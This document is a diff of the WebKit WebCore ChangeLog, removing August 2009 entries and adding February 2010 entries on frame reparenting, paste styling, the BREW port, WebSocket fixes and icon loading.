+        (WebCore::HTMLFrameElementBase::setName):
+        Move the code setting the frame name into a separate function.
 
-        * platform/graphics/win/GraphicsContextCGWin.cpp:
-        (WebCore::GraphicsContext::GraphicsContext):
-        (WebCore::GraphicsContext::releaseWindowsContext):
-        (WebCore::GraphicsContext::drawWindowsBitmap):
+        (WebCore::HTMLFrameElementBase::setNameAndOpenURL):
+        (WebCore::HTMLFrameElementBase::updateOnReparenting):
+        Called on the frame that was just re-parented and inserted into another Document.
+        Simply invoke Frame::transferChildFrameToNewDocument(...);
 
-2009-08-20  Dan Bernstein  <mitz@apple.com>
+        (WebCore::HTMLFrameElementBase::insertedIntoDocument):
+        * html/HTMLFrameElementBase.h:
+        * html/HTMLFrameOwnerElement.h:
+        (WebCore::HTMLFrameOwnerElement::setName):
+        Make this a virtual function, to be able to reach it via Frame::m_ownerElement.
 
-        Reviewed by Geoffrey Garen.
+        * loader/EmptyClients.h:
+        (WebCore::EmptyFrameLoaderClient::adoptFrame):
+        * loader/FrameLoaderClient.h:
+        Add a new method, didTransferChildFrameToNewDocument().
+        It compliments createFrame() in that a frame which was re-parented
+        in DOM and potentially changes Page, should notify the WebKit
+        implementation about potential ownership change.
+        Many embedders assume that Page owns all the Frames, or at least
+        all Frames are destroyed before 'their' Page is destroyed. Obviously, if Frame
+        can be transferred to another Page, the embedders should be notified.
 
-        Replace many manually-released CFTypeRefs with RetainPtrs
-        https://bugs.webkit.org/show_bug.cgi?id=28498
+        * page/Frame.cpp:
+        (WebCore::Frame::transferChildFrameToNewDocument):
+        Added, makes actual adjustments for Frame - resets the Page,
+        updates the frame tree and frame name, calls to FrameLoaderClient
+        to update external objects and recurses into children.
+        Can only be used on child frames.
 
-        * platform/graphics/cg/ColorCG.cpp:
-        (WebCore::createCGColor):
-        * platform/graphics/cg/GradientCG.cpp:
-        (WebCore::Gradient::platformGradient):
-        * platform/graphics/cg/GraphicsContextCG.cpp:
-        (WebCore::GraphicsContext::platformContext):
-        (WebCore::GraphicsContext::applyStrokePattern):
-        (WebCore::GraphicsContext::applyFillPattern):
-        (WebCore::GraphicsContext::setPlatformShadow):
-        (WebCore::GraphicsContext::setURLForRect):
-        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
-        (WebCore::GraphicsContextPlatformPrivate::GraphicsContextPlatformPrivate):
-        (WebCore::GraphicsContextPlatformPrivate::~GraphicsContextPlatformPrivate):
-        * platform/graphics/cg/ImageBufferCG.cpp:
-        (WebCore::ImageBuffer::ImageBuffer):
-        * platform/graphics/cg/ImageCG.cpp:
-        (WebCore::BitmapImage::checkForSolidColor):
-        (WebCore::Image::drawPattern):
-        * platform/graphics/cg/ImageSourceCG.cpp:
-        (WebCore::ImageSource::setData):
-        (WebCore::ImageSource::isSizeAvailable):
-        (WebCore::ImageSource::frameSizeAtIndex):
-        (WebCore::ImageSource::repetitionCount):
-        (WebCore::ImageSource::createFrameAtIndex):
-        (WebCore::ImageSource::frameDurationAtIndex):
-        * platform/graphics/cg/PDFDocumentImage.cpp:
-        (WebCore::PDFDocumentImage::dataChanged):
-        * platform/graphics/cg/PathCG.cpp:
-        (WebCore::createScratchContext):
-        (WebCore::Path::contains):
-        * platform/graphics/mac/FontCustomPlatformData.cpp:
-        (WebCore::createFontCustomPlatformData):
-        * platform/graphics/mac/GraphicsContextMac.mm:
-        (WebCore::GraphicsContext::drawFocusRing):
-        * platform/graphics/mac/ImageMac.mm:
-        (WebCore::BitmapImage::getTIFFRepresentation):
-        * platform/mac/ClipboardMac.mm:
-        (WebCore::cocoaTypeFromMIMEType):
-        (WebCore::MIMETypeFromCocoaType):
-        * platform/mac/WebCoreNSStringExtras.mm:
-        (stringEncodingForResource):
-        * platform/network/mac/FormDataStreamMac.mm:
-        (WebCore::advanceCurrentStream):
-        (WebCore::setHTTPBody):
-        * platform/text/mac/TextCodecMac.cpp:
-        (WebCore::TextCodecMac::encode):
+        * page/Frame.h:
 
-2009-08-20  Shinichiro Hamaji  <hamaji@chromium.org>
+2010-02-17  Tony Chang  <tony@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        Output actual values of counters in showTree
-        https://bugs.webkit.org/show_bug.cgi?id=28481
-
-        No new tests because this patch just improves debugging outputs.
+        Copying and pasting into a contenteditable area can create <div>s surrounded by <span>s
+        https://bugs.webkit.org/show_bug.cgi?id=26937
 
-        * rendering/CounterNode.cpp:
-        (WebCore::showTreeAndMark):
+        This happens because of a span added when we copy that is used to
+        preserve styles.  To avoid this, when we paste, make sure to apply
+        the styles to the span's children and then remove the style span.
 
-2009-08-20  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by NOBODY (build fix).
-
-        Add file missed in last check-in.
-
-        * html/HTMLAttributeNames.in:
-
-2009-08-19  Timothy Hatcher  <timothy@apple.com>
+        This change is covered by existing layout tests.
 
-        Adds new icons to the Web Inspector for Local Storage,
-        Session Storage and Cookies.
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::handleStyleSpans):
+        (WebCore::ReplaceSelectionCommand::copyStyleToChildren):
+        * editing/ReplaceSelectionCommand.h:
 
-        https://bugs.webkit.org/show_bug.cgi?id=28470
+2010-02-17  Tony Chang  <tony@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel.prototype.addDOMStorage):
-        (WebInspector.DOMStorageSidebarTreeElement):
-        * inspector/front-end/Images/cookie.png:
-        * inspector/front-end/Images/domStorage.png: Removed.
-        * inspector/front-end/Images/localStorage.png: Added.
-        * inspector/front-end/Images/sessionStorage.png: Added.
-        * inspector/front-end/inspector.css:
-
-2009-08-20  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        HTML5 media elements must fire 'loadend' progress event
-        https://bugs.webkit.org/show_bug.cgi?id=28419
-
-        * dom/EventNames.h:
-            Define loadend.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::parseMappedAttribute):
-            Deal with onloadend.
-        (WebCore::HTMLMediaElement::loadInternal):
-            Post 'loadend' immediately after 'abort'.
-        (WebCore::HTMLMediaElement::noneSupported):
-            Post 'loadend' immediately after 'error'.
-        (WebCore::HTMLMediaElement::mediaEngineError):
-            Ditto.
-        (WebCore::HTMLMediaElement::setNetworkState):
-            Post 'loadend' immediately after 'load'.
-        (WebCore::HTMLMediaElement::userCancelledLoad):
-            Post 'loadend' immediately after 'abort'.
-
-2009-08-20  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        REGESSION(r45316), Crash: WebKit crashes in Google Sites when indenting a table
-        https://bugs.webkit.org/show_bug.cgi?id=28474
-
-        This patch fixes a crash when indenting at right after a table.
-        The bug was caused by Node* blockNode = enclosingBlock(endOfCurrentParagraph.deepEquivalent().node());
-        where node() is equal to blockNode. Because blockNode is the enclosing block node, this patch changes it to
-        enclosingBlock(endOfCurrentParagraph.deepEquivalent().node()->parentNode());
-
-        Test: editing/execCommand/indent-right-after-table.html
+        https://bugs.webkit.org/show_bug.cgi?id=34914
+        When pasting absolute font sizes into a content editable area with
+        page zoom, adjust the font sizes to be the same after page zoom is
+        applied.
 
-        * editing/IndentOutdentCommand.cpp:
-        (WebCore::IndentOutdentCommand::indentRegion): Fixed so that blockNode != endOfCurrentParagraph.deepEquivalent().node()
+        Test: editing/pasteboard/page-zoom.html
 
-2009-08-20  Andrew Scherkus  <scherkus@chromium.org>
-
-        Reviewed by David Levin.
-
-        Render disabled mute button during an error or if no audio is present.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28475
-
-        Covered by existing layout tests:
-        media/video-controls-visible-audio-only.html
-        media/video-no-audio.html
-
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::paintMediaMuteButton):
-
-2009-08-20  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Darin Adler.
-
-        <rdar://problem/7154605> Loading page with 1px wide <select> makes the
-        toolbar go blank
-        and
-        <rdar://problem/7154521> Lots of "<Error>: doClip: empty path." spew in
-        the console with certain content
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::paintMenuListButtonGradients): Return early
-        if the rectangle is empty. Use RenderStyle::getBorderRadiiForRect() to
-        adjust the radii in case the sides of the rectangle are smaller than sum
-        of the radii, so that the gradient background matches the border (which
-        already uses getBorderRadiiForRect()). Check if bottomGradient is empty
-        to avoid clipping to an empty path.
-        (WebCore::RenderThemeMac::paintMenuListButton): Moved a
-        GraphicContext::save() down to avoid a save/restore imbalance in the
-        early return case.
-
-        * rendering/RenderThemeSafari.cpp: Made the same changes.
-        (WebCore::RenderThemeSafari::paintMenuListButtonGradients):
-        (WebCore::RenderThemeSafari::paintMenuListButton):
-
-2009-08-20  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Reviewed by Gustavo Noronha.
-
-        [Gtk][REGRESSION] XHR test failures after r45558
-        https://bugs.webkit.org/show_bug.cgi?id=27143
-
-        Disable sniffing if it's explicitly requested. Updated patch
-        originally by Gustavo Noronha.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::statusWillBeHandledBySoup):
-        (WebCore::gotHeadersCallback):
-        (WebCore::contentSniffedCallback):
-        (WebCore::gotChunkCallback):
-        (WebCore::startHttp):
-
-2009-08-20  Ariya Hidayat  <ariya.hidayat@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Swap the pixels since QImage expect ARGB while ImageData
-        stores them as RGBA.
-
-        This fixes the fast/canvas/canvas-copyPixels.html test.
-
-        * platform/graphics/qt/ImageBufferQt.cpp:
-        (WebCore::putImageData):
-
-2009-08-20  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
-
-        Reviewed by David Levin.
-
-        [v8] Use atomic string caching for createElement
-        Extend atomic string caching to createElement.  Fix a bug in idl
-        parser that caused incorrect parsing if a function argument
-        attribute list contained a comma.
-        https://bugs.webkit.org/show_bug.cgi?id=28449
-
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/scripts/IDLParser.pm:
-        * bindings/v8/V8Binding.h:
-        (WebCore::v8ValueToAtomicWebCoreStringWithNullCheck):
-        * dom/Document.idl:
-
-2009-08-20  Ariya Hidayat  <ariya.hidayat@nokia.com>
-
-        Not reviewed, build fix after r47515.
-
-        [Qt] There is no Phonon::MediaObject::hasAudio() function.
-
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-        (WebCore::MediaPlayerPrivate::hasAudio): Assume true.
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::negateStyleRulesThatAffectAppearance):
 
-2009-08-20  Darin Fisher  <darin@chromium.org>
+2010-02-17  Tony Chang  <tony@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28483
-        The V8 ScriptController's cleanupScriptObjectsForPlugin should take a
-        Widget* instead of void* to avoid the need for manual casting to Widget*
-        at the callsite.
-
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::cleanupScriptObjectsForPlugin):
-        * bindings/v8/ScriptController.h:
-
-2009-08-19  David Levin  <levin@chromium.org>
-
-        Unreviewed speculative build fix for qt.
-
-        * page/OriginAccessEntry.cpp:
+        https://bugs.webkit.org/show_bug.cgi?id=34737
+        Copying styled list items then pasting into a list
+        should work the same as copying unstyle list items:
+        it shouldn't indent an extra level, but styles should
+        be copied.
 
-2009-08-19  Aaron Boodman  <aa@chromium.org>
+        Small cleanups to insertAsListItems to make variable names
+        more descriptive.
 
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=24853: Provide a way for WebKit clients to
-        specify a more granular policy for cross-origin XHR access.
-
-        Tests: http/tests/xmlhttprequest/origin-whitelisting-all.html
-               http/tests/xmlhttprequest/origin-whitelisting-exact-match.html
-               http/tests/xmlhttprequest/origin-whitelisting-https.html
-               http/tests/xmlhttprequest/origin-whitelisting-ip-addresses-with-subdomains.html
-               http/tests/xmlhttprequest/origin-whitelisting-ip-addresses.html
-               http/tests/xmlhttprequest/origin-whitelisting-subdomains.html
-
-        * WebCore.base.exp: Export methods to manipulate origin access whitelists to enable
-        testing via layout tests.
-
-        * WebCore.xcodeproj/project.pbxproj: Add OriginAccessEntry.*
-        * GNUmakefile.am: Ditto.
-        * WebCore.gypi: Ditto.
-        * WebCore.pro: Ditto.
-        * WebCore.vcproj/WebCore.vcproj: Ditto.
-        * WebCoreSources.blk: Ditto.
-
-        * page/SecurityOrigin.h: Implement origin access whitelists.
-        (WebCore::originAccessMap): Static getter for access whitelists.
-        (WebCore::SecurityOrigin::canRequest): Modify request checking logic to check whitelists.
-        (WebCore::SecurityOrigin::whiteListAccessFromOrigin): Add an entry to a whitelist.
-        (WebCore::SecurityOrigin::resetOriginAccessWhiteLists): Clear all the whitelists.
-
-        * page/OriginAccessEntry.h: Added. An entry in an origin access whitelist.
-        * page/OriginAccessEntry.cpp: Ditto.
-
-2009-08-19  Kevin Ollivier  <kevino@theolliviers.com>
-
-        Non-precomp headers build fix.
-
-        * platform/image-decoders/ImageDecoder.cpp:
-
-2009-08-19  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Disable a bad SKIA assert
-        https://bugs.webkit.org/show_bug.cgi?id=28482
-
-        In http://trac.webkit.org/changeset/47386/ an assert was "fixed" in SKIA code. 
-        When this was pulled into Chromium, it started breaking the page cycler. 
-        Disable it again until we can figure out what's going on.
-
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::setupPaintCommon):
-
-2009-08-19  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        queryCommandState('underline') returns false if the selected text is also bold and italic
-        https://bugs.webkit.org/show_bug.cgi?id=11022
-
-        This patch modifies stateStrikethrough and stateUnderline to use the value -webkit-text-decorations-in-effect
-        instead of text-decoration.  Because text-decoration only retrieves explicit styling at the node on which
-        the query was sent, we need to use -webkit-text-decorations-in-effect to include decorations added by ancestors
-        and also u, s, and strike tags.
+        Test: editing/pasteboard/paste-list-003.html
 
-        Test: editing/style/text-decoration-state.html
-
-        * editing/EditorCommand.cpp:
-        (WebCore::stateStrikethrough): Use -webkit-test-decorations-in-effect instead of text-decoration.
-        (WebCore::stateUnderline): Ditto.
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::ReplaceSelectionCommand::doApply):
+        (WebCore::ReplaceSelectionCommand::insertAsListItems):
 
-2009-08-19  Anders Carlsson  <andersca@apple.com>
+2010-02-17  Kwang Yul Seo  <skyul@company100.net>
 
-        Reviewed by Darin Adler.
+        Reviewed by Eric Seidel.
 
-        - Fix <rdar://problem/7155710>
-        HTML selects on windows cause containing window to become inactive when opened.
+        [BREWMP] Port PlatformKeyboardEvent
+        https://bugs.webkit.org/show_bug.cgi?id=34794
 
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::show):
-        Pass SWP_NOACTIVATE to SetWindowPos, remove AW_ACTIVATE from AnimateWindow and pass
-        SW_SHOWNOACTIVATE to ShowWindow.
-        
-        (WebCore::PopupWndProc):
-        Prevent mouse activation from activating the window.
+        Retrieve the type, key code, text and modifiers from BREW's keyboard event.
 
-2009-08-19  Simon Fraser  <simon.fraser@apple.com>
+        * platform/PlatformKeyboardEvent.h:
+        * platform/brew/PlatformKeyboardEventBrew.cpp: Added.
+        (WebCore::keyIdentifierForBrewKeyCode):
+        (WebCore::windowsKeyCodeForKeyEvent):
+        (WebCore::singleCharacterString):
+        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
+        (WebCore::PlatformKeyboardEvent::disambiguateKeyDownEvent):
+        (WebCore::PlatformKeyboardEvent::currentCapsLockState):
 
-        Reviewed by Darin Adler.
+2010-02-17  Hayato Ito  <hayato@chromium.org>
 
-        Images flash as you hover them on http://www.atebits.com/scribbles/
-        <rdar://problem/7143958>
-        
-        Tag images with the device colorspace with the colorspace of the main display, rather than
-        GenericRGB, so that composited images color-match those rendered via Core Graphics.
-        
-        Covered by LayoutTests/compositing/color-matching/image-color-matching.html
+        Reviewed by Eric Seidel.
 
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::setContentsToImage):
+        Support CSS page-break-inside with a value of 'avoid'.
 
-2009-08-19  Anders Carlsson  <andersca@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=34080
 
-        Reviewed by David Hyatt and Dan Bernstein.
+        Test: printing/page-break-inside.html
 
-        - Fix <rdar://problem/7152589> Stylable scrollbar corners aren't working.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::paintChildren):
 
-        * page/FrameView.cpp:
-        (WebCore::FrameView::FrameView):
-        Initialize m_scrollCorner.
+2010-02-17  Fumitoshi Ukai  <ukai@chromium.org>
 
-        (WebCore::FrameView::~FrameView):
-        Assert that m_scrollCorner is null.
+        Reviewed by Alexey Proskuryakov.
 
-        (WebCore::FrameView::detachCustomScrollbars):
-        Destroy m_scrollCorner.
+        WebSocket bufferedAmount should not be 0 when send after close.
+        https://bugs.webkit.org/show_bug.cgi?id=34633
 
-        (WebCore::FrameView::invalidateScrollCorner):
-        Invalidate the scroll corner.
-        
-        (WebCore::FrameView::updateScrollCorner):
-        Create/destroy the scroll corner.
-        
-        (WebCore::FrameView::paintScrollCorner):
-        Paint the scroll corner.
-        
-        * page/FrameView.h:
-        (WebCore::FrameView::isFrameViewScrollCorner):
-        Return whether a RenderScrollbarPart is the frame view scroll corner.
-        
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::updateScrollbars):
-        Go ahead and update the scroll corner.
-        
-        (WebCore::ScrollView::setScrollbarsSuppressed):
-        Pass the scroll corner rect to invalidateRect.
-        
-        (WebCore::ScrollView::scrollCornerRect):
-        Return the scroll corner rect.
+        Fixed bug in webkit r54694.  check m_client after it calls user
+        callback, because user callback may call close(), which would
+        call onclose event handler.
         
-        * platform/ScrollView.h:
-        * rendering/RenderScrollbarPart.cpp:
-        (WebCore::RenderScrollbarPart::imageChanged):
-        If this scrollbar part is the frame view scroll corner, invalidate it.
-
-2009-08-19  Dirk Schulze  <krit@webkit.org>
-
-        Reviewed by Oliver Hunt.
-
-        SVG feComponentTransfer needs to be implemented
-        [https://bugs.webkit.org/show_bug.cgi?id=27768]
-
-        Implementation of SVG Filter feComponentTransfer.
-
-        There is already a test case
-        Test: svg/W3C-SVG-1.1/filters-comptran-01-b.svg
-
-        * platform/graphics/filters/FEComponentTransfer.cpp:
-        (WebCore::identity):
-        (WebCore::table):
-        (WebCore::discrete):
-        (WebCore::linear):
-        (WebCore::gamma):
-        (WebCore::FEComponentTransfer::apply):
-
-2009-08-19  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Dave Hyatt.
+        Test: websocket/tests/bufferedAmount-after-close.html
 
-        <rdar://problem/7141522> Incorrect layout of product table at henry.com
-
-        Test: fast/block/basic/quirk-percent-height-table-cell.html
-
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::calcPercentageHeight): Tweak the quirk that allows
-        percentage-height children of auto-height blocks to look for an ancestor
-        with non-auto height and compute their height based on it. The change is
-        that if that ancestor is a table cell, it is ignored and the percent
-        height computes to zero (just like in strict mode). This matches Firefox
-        and IE.
+        * websockets/ThreadableWebSocketChannelClientWrapper.h:
+        (WebCore::ThreadableWebSocketChannelClientWrapper::didClose):
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::WebSocket):
+        (WebCore::WebSocket::send):
+        (WebCore::WebSocket::close):
+        (WebCore::WebSocket::bufferedAmount):
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didClose):
+        * websockets/WebSocket.h:
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::WebSocketChannel):
+        (WebCore::WebSocketChannel::send):
+        (WebCore::WebSocketChannel::bufferedAmount):
+        (WebCore::WebSocketChannel::didClose):
+        (WebCore::WebSocketChannel::didReceiveData):
+        * websockets/WebSocketChannel.h:
+        * websockets/WebSocketChannelClient.h:
+        (WebCore::WebSocketChannelClient::didClose):
+        * websockets/WorkerThreadableWebSocketChannel.cpp:
+        (WebCore::workerContextDidClose):
+        (WebCore::WorkerThreadableWebSocketChannel::Peer::didClose):
+        * websockets/WorkerThreadableWebSocketChannel.h:
 
-2009-08-19  Jungshik Shin  <jshin@chromium.org>
+2010-02-17  Yuzo Fujishima  <yuzo@google.com>
 
         Reviewed by Eric Seidel.
 
-        Add 'icu::' qualifier when refering to ICU C+names to the other
-        file with this issue missed in the previous check-in.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28410
+        In diffing render styles, consider all pseudo style changes.
+        Without this patch, only :before and :after are considered. This is the cause of the following bug.
+        https://bugs.webkit.org/show_bug.cgi?id=32187
 
-        No change in the test result.
+        Test: fast/css/first-letter-first-line-hover.html
 
-        * platform/graphics/chromium/FontUtilsChromiumWin.cpp:
+        * dom/Node.cpp:
+        (WebCore::Node::diff):
+        * rendering/style/RenderStyle.cpp:
+        (WebCore::RenderStyle::hasAnyPublicPseudoStyles):
+        * rendering/style/RenderStyle.h:
+        * rendering/style/RenderStyleConstants.h:
         (WebCore::):
 
-2009-08-19  Peter Kasting  <pkasting@google.com>
-
-        Unreviewed (build fix for Skia).
-
-        https://bugs.webkit.org/show_bug.cgi?id=28268
-
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::drawLine):
-
-2009-08-19  Jan Michael Alonzo  <jmalonzo@webkit.org>
+2010-02-17  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Eric Seidel.
 
-        [CAIRO] Remove setFont indirection
-        https://bugs.webkit.org/show_bug.cgi?id=28453
-
-        Remove the indirection and just set the font in Font::drawGlyphs.
-
-        * platform/graphics/SimpleFontData.h:
-        * platform/graphics/cairo/FontCairo.cpp:
-        (WebCore::Font::drawGlyphs):
-        * platform/graphics/gtk/FontPlatformData.h:
-        (WebCore::FontPlatformData::scaledFont):
-        * platform/graphics/gtk/FontPlatformDataGtk.cpp:
-        (WebCore::FontPlatformData::~FontPlatformData):
-        * platform/graphics/gtk/FontPlatformDataPango.cpp:
-        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
-        * platform/graphics/gtk/SimpleFontDataPango.cpp:
-        * platform/graphics/win/FontPlatformData.h:
-        * platform/graphics/win/FontPlatformDataCairoWin.cpp:
-        * platform/graphics/win/SimpleFontDataCairoWin.cpp:
-
-2009-08-19  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
+        [BREWMP] Add WebCore::prefetchDNS
+        https://bugs.webkit.org/show_bug.cgi?id=34873
 
-        WebInspector: When adding style selector, generate default name based
-        on id / class / type.
+        DNS prefetching is not implemented because the maximum number
+        of UDP sockets is quite small in most BREW devices.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28468
-
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylesSidebarPane.prototype.appropriateSelectorForNode):
-
-2009-08-19  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Rename combinedOverflow to visibleOverflow, since that's what it actually represents.
-
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::nodeAtPoint):
-        (WebCore::InlineFlowBox::paint):
-        * rendering/InlineFlowBox.h:
-        (WebCore::InlineFlowBox::topvisibleOverflow):
-        (WebCore::InlineFlowBox::bottomvisibleOverflow):
-        (WebCore::InlineFlowBox::leftvisibleOverflow):
-        (WebCore::InlineFlowBox::rightvisibleOverflow):
-        (WebCore::InlineFlowBox::visibleOverflowRect):
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::layoutBlock):
-        (WebCore::RenderBlock::paint):
-        (WebCore::RenderBlock::floatRect):
-        (WebCore::RenderBlock::nodeAtPoint):
-        * rendering/RenderBlock.h:
-        * rendering/RenderBlockLineLayout.cpp:
-        (WebCore::RenderBlock::layoutInlineChildren):
-        (WebCore::RenderBlock::matchedEndLine):
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::clippedOverflowRectForRepaint):
-        * rendering/RenderBox.h:
-        (WebCore::RenderBox::visibleOverflowRect):
-        (WebCore::RenderBox::topvisibleOverflow):
-        (WebCore::RenderBox::bottomvisibleOverflow):
-        (WebCore::RenderBox::leftvisibleOverflow):
-        (WebCore::RenderBox::rightvisibleOverflow):
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::localBoundingBox):
-        * rendering/RenderLineBoxList.cpp:
-        (WebCore::RenderLineBoxList::paint):
-        (WebCore::RenderLineBoxList::hitTest):
-        * rendering/RenderOverflow.h:
-        (WebCore::RenderOverflow::visibleOverflowRect):
-        * rendering/RenderReplaced.cpp:
-        (WebCore::RenderReplaced::shouldPaint):
-        (WebCore::RenderReplaced::clippedOverflowRectForRepaint):
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::layout):
-        (WebCore::RenderTable::paint):
-        * rendering/RenderTableCell.cpp:
-        (WebCore::RenderTableCell::clippedOverflowRectForRepaint):
+        * platform/network/brew/DNSBrew.cpp: Added.
+        (WebCore::prefetchDNS):
 
-2009-08-19  Eric Carlson  <eric.carlson@apple.com>
+2010-02-17  Kent Tamura  <tkent@chromium.org>
 
         Reviewed by Eric Seidel.
 
-        Sound button appears in controller with movies that have no audio
-        https://bugs.webkit.org/show_bug.cgi?id=28464
-
-        Test: media/video-no-audio.html
+        Introduces new Icon loading interface in order to support
+        asynchronous loading.
+        https://bugs.webkit.org/show_bug.cgi?id=32054
 
-        * html/HTMLMediaElement.cpp:
-        * html/HTMLMediaElement.h:
-        (WebCore::HTMLMediaElement::hasAudio):
-            Added hasAudio.
+        It's hard for Chromium port to load an icon inside
+        Icon::createIconForFiles() because of sanbox and multi-process
+        architecture. So this change adds a method to request an icon to
+        Chrome class, and makes FileChooser receives an Icon instance
+        asynchronously.  Synchronous loading also works with the new interface.
 
-        * platform/graphics/MediaPlayer.h:
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::NullMediaPlayerPrivate::hasAudio):
-        (WebCore::MediaPlayer::hasVideo):
-            Make const.
-        (WebCore::MediaPlayer::hasAudio):
-            Added hasAudio.
+        Because all ports don't have implementations of Chrome::iconForFiles()
+        yet, FileChooser tries to load an Icon synchronously with
+        Icon::createIconForFiles(), then tries to load an Icon asynchronously
+        with Chrome::iconForFiles() if Icon::createIconForFiles() returns 0.
 
-        * platform/graphics/MediaPlayerPrivate.h:
-            Add hasAudio.
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::hasAudio):
-            Ditto.
+        The existing Icon::createIconForFiles() implementations should be
+        moved to Chrome::iconForFiles(). We're going to remove
+        Icon::createIconForFiles().
 
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::hasAudio):
-            Ditto.
-
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.h:
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-        (WebCore::MediaPlayerPrivate::hasAudio):
-            Ditto.
-
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
-        (WebCore::MediaPlayerPrivate::hasAudio):
-            Ditto.
-
-        * platform/graphics/win/QTMovieWin.h:
-        * platform/graphics/win/QTMovieWin.cpp:
-        (QTMovieWin::hasAudio):
-            Ditto.
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlMuteButtonElement::disabled):
-            New, return true if media element doesn't have audio.
-        (WebCore::MediaControlMuteButtonElement::rendererIsNeeded):
-            Renderer is not needed if element has no audio.
-        * rendering/MediaControlElements.h:
-        (WebCore::MediaControlInputElement::disabled):
-
-        * rendering/RenderThemeMac.mm:
-        (WebCore::getMediaUIPartStateFlags):
-            Return MediaUIPartDisabledFlag if node is disabled.
-            
+        * loader/EmptyClients.h:
+        (WebCore::EmptyChromeClient::iconForFiles): Add an empty implementation.
+        * page/Chrome.cpp:
+        (WebCore::Chrome::iconForFiles): Delegate to ChromeClient::iconForFiles().
+        * page/Chrome.h:
+        * page/ChromeClient.h:
+        (WebCore::ChromeClient::iconForFiles): Add a declaration as a pure virtual method.
+        * platform/FileChooser.cpp:
+        (WebCore::FileChooser::FileChooser): Use loadIcon().
+        (WebCore::FileChooser::chooseFiles): ditto.
+        (WebCore::FileChooser::loadIcon): Added.
+        (WebCore::FileChooser::iconLoaded): Added.
+        * platform/FileChooser.h: Add two methods to FileChooserClient; repaint() and iconForFiles().
+        * platform/graphics/Icon.h: Add a FIXME comment.
+        * platform/graphics/gtk/IconGtk.cpp: ditto.
+        * platform/graphics/mac/IconMac.mm: ditto.
+        * platform/graphics/qt/IconQt.cpp: ditto.
+        * platform/graphics/win/IconWin.cpp: ditto.
+        * rendering/RenderFileUploadControl.cpp:
+        (WebCore::RenderFileUploadControl::iconForFiles): Delegate to Chrome::iconForFiles().
+        (WebCore::RenderFileUploadControl::click): Use chrome().
+        (WebCore::RenderFileUploadControl::chrome):
+        * rendering/RenderFileUploadControl.h:
+        (WebCore::RenderFileUploadControl::repaint):
 
-2009-08-19  Michelangelo De Simone  <micdesim@gmail.com>
+2010-02-17  Mark Rowe  <mrowe@apple.com>
 
         Reviewed by Darin Adler.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27357
-        Removed the two unnecessary overridden willValidate() methods introduced
